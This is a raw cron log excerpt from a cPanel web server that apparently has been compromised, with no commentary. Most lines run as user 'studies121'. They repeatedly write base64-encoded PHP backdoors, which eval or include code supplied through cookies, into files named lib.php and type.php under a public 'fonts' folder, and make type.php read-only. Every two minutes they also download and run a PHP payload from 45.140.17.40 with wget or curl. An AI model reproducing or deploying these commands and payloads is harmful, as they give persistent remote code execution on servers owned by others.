Sep  1 21:43:01 ip-184-168-122-23 CROND[28813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:44:01 ip-184-168-122-23 CROND[28893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:44:01 ip-184-168-122-23 CROND[28895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:44:01 ip-184-168-122-23 CROND[28898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:44:01 ip-184-168-122-23 CROND[28896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:44:01 ip-184-168-122-23 CROND[28897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:45:01 ip-184-168-122-23 CROND[28979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:45:01 ip-184-168-122-23 CROND[28981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:45:01 ip-184-168-122-23 CROND[28983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:45:01 ip-184-168-122-23 CROND[28982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:45:01 ip-184-168-122-23 CROND[28984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:45:01 ip-184-168-122-23 CROND[28985]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:46:01 ip-184-168-122-23 CROND[29081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:46:01 ip-184-168-122-23 CROND[29083]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 21:46:01 ip-184-168-122-23 CROND[29084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:46:01 ip-184-168-122-23 CROND[29085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:46:01 ip-184-168-122-23 CROND[29087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:46:01 ip-184-168-122-23 CROND[29088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:46:01 ip-184-168-122-23 CROND[29089]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 21:47:01 ip-184-168-122-23 CROND[29189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:47:01 ip-184-168-122-23 CROND[29193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:47:01 ip-184-168-122-23 CROND[29191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:47:01 ip-184-168-122-23 CROND[29192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:48:01 ip-184-168-122-23 CROND[29275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:48:01 ip-184-168-122-23 CROND[29276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:48:01 ip-184-168-122-23 CROND[29278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:48:01 ip-184-168-122-23 CROND[29279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:48:01 ip-184-168-122-23 CROND[29277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:49:01 ip-184-168-122-23 CROND[29358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:49:01 ip-184-168-122-23 CROND[29360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:49:01 ip-184-168-122-23 CROND[29361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:49:01 ip-184-168-122-23 CROND[29363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:50:01 ip-184-168-122-23 CROND[29529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:50:01 ip-184-168-122-23 CROND[29528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:50:01 ip-184-168-122-23 CROND[29530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:50:01 ip-184-168-122-23 CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 21:50:01 ip-184-168-122-23 CROND[29536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:50:01 ip-184-168-122-23 CROND[29538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:50:01 ip-184-168-122-23 CROND[29541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:50:01 ip-184-168-122-23 CROND[29539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:50:01 ip-184-168-122-23 CROND[29540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:51:01 ip-184-168-122-23 CROND[29631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:51:01 ip-184-168-122-23 CROND[29633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:51:01 ip-184-168-122-23 CROND[29635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:51:01 ip-184-168-122-23 CROND[29634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:52:01 ip-184-168-122-23 CROND[29710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:52:01 ip-184-168-122-23 CROND[29712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:52:01 ip-184-168-122-23 CROND[29715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:52:01 ip-184-168-122-23 CROND[29713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:52:01 ip-184-168-122-23 CROND[29714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:53:01 ip-184-168-122-23 CROND[29792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:53:01 ip-184-168-122-23 CROND[29793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:53:01 ip-184-168-122-23 CROND[29794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:53:01 ip-184-168-122-23 CROND[29795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:54:01 ip-184-168-122-23 CROND[29877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:54:01 ip-184-168-122-23 CROND[29881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:54:01 ip-184-168-122-23 CROND[29882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:54:01 ip-184-168-122-23 CROND[29879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:54:01 ip-184-168-122-23 CROND[29880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:55:01 ip-184-168-122-23 CROND[30059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:55:01 ip-184-168-122-23 CROND[30060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:55:01 ip-184-168-122-23 CROND[30062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
